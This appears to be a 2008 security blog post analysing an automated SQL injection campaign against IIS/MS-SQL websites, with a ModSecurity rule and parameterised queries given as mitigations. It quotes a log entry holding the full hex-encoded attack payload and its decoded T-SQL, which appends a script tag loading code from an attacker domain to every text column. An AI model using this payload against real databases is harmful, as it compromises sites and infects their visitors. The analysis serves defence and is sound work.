ModSecurity Breach

ModSecurity Blog

« Set-based Pattern Matching Example | Main | Speaking About ModSecurity at ApacheCon Europe 2008 »

SQL Injection Attack Infects Thousands of Websites

Here is a snippet from the just released SANS NewsBites letter:

"TOP OF THE NEWS --SQL Injection Attack Infects Thousands of Websites (January 7 & 8, 2008) At least 70,000 websites have fallen prey to an automated SQL injection attack that exploits several vulnerabilities, including the Microsoft Data Access Components (MDAC) flaw that Microsoft patched in April 2006. Users have been redirected to another domain [u c 8 0 1 0 . c o m], that attempted to infect users' computers with keystroke loggers. Many of the sites have since been scrubbed. The attack is similar to one launched last year against the Miami Dolphins' Stadium website just prior to the Super Bowl."

Additional coverage is available from several places:

So, there is a new, nasty bot on the loose that is targeting websites that use IIS/MS-SQL DB. It is exploiting non-specific SQL Injection vulnerabilities that exist in websites to inject malicious JavaScript into all fields. Once it gets the victims to the web site it will try and exploit various known browser and plugin vulnerabilities. Essentially, the attack inserts <script src=http://?.uc8010.com/0.js></script> into all varchar and text fields in your SQL database.

While there has been much focus on the goal of the attack -- which is to try and exploit some browser (client) vulnerabilities to perhaps install some trojans or other malware -- not as much attention has been paid to actual attack vector that lead to the compromise: the SQL injection attack itself.

Here is an example IIS log entry of the SQL Injection attack that was posted to a user forum:

2007-12-30 18:22:46 POST /crappyoutsourcedCMS.asp;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST
(0×4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002
C0040004300200076006100720063006800610072002800320035003500290020004400450043004C004100520045002
0005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002
000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006
F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006
E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E0064002
00061002E00780074007900700065003D00270075002700200061006E0064002000280062002E0078007400790070006
5003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E007
80074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D003100360037002
90020004F00500045004E0020005400610062006C0065005F0043007500720073006F007200200046004500540043004
80020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007
200200049004E0054004F002000400054002C004000430020005700480049004C0045002800400040004600450054004
30048005F005300540041005400550053003D0030002900200042004500470049004E002000650078006500630028002
70075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B004
00043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006
800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C007300630072006900700074002
0007300720063003D0068007400740070003A002F002F0063002E007500630038003000310030002E0063006F006D002
F0030002E006A0073003E003C002F007300630072006900700074003E002700270027002900460045005400430048002
0004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F0072002
00049004E0054004F002000400054002C0040004300200045004E004400200043004C004F00530045002000540061006
2006C0065005F0043007500720073006F00720020004400450041004C004C004F0043004100540045002000540061006
2006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);–|178|80040e14|
Unclosed_quotation_mark_before_the_character_string_’G;DECLARE_@S_NVARCHAR(4000);SET_@S=CAST
(0×4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002
C00400043002000′. - 202.101.162.73 HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library)
- 500 15248

If you decode the CAST values, here is the actual SQL that is being injected:

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name 
from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35
or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+'
]))+''<script src=http://c.uc8010.com/0.js></script>''')FETCH NEXT FROM 
Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor DECLARE @T
varchar(255),@C

Mitigation Options

There are many remediation steps that can and should be taken.

Immediate Fix: Use ModSecurity and the Core Rules

If these web sites were front-ended by an Apache reverse proxy server (with ModSecurity and the Core Rules) then the back-end IIS/MS SQL application servers would have been protected against this attack. The free Core Rules, which are available for download from the the ModSecurity web site, include SQL injection rules that would have identified and blocked this specific automated attack. Specifically, Rule ID 950001 in the modsecurity_crs_40_generic_attacks.conf file would have triggered on the "cast(" portion of the SQL injection string.

Mid-Term/Long-Term Fix: Correct the Code

Web developers should identify and correct any Input Validation errors in their code, and make sure the SQL queries are sent to the database in a safe manner (which typically translates to using binding to pass parameters).

TrackBack

TrackBack URL for this entry:
http://www.typepad.com/services/trackback/6a00e5512c9d3a883300e551759bdd8833

Listed below are links to weblogs that reference SQL Injection Attack Infects Thousands of Websites:

is this IIS vulnerability or Codding issue?? i haven't seen such type of sql injection.

The comments to this entry are closed.

Calendar

November 2010
Sun Mon Tue Wed Thu Fri Sat
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30

Feeds

Atom Feed

Search

Categories

Recent Entries

Archives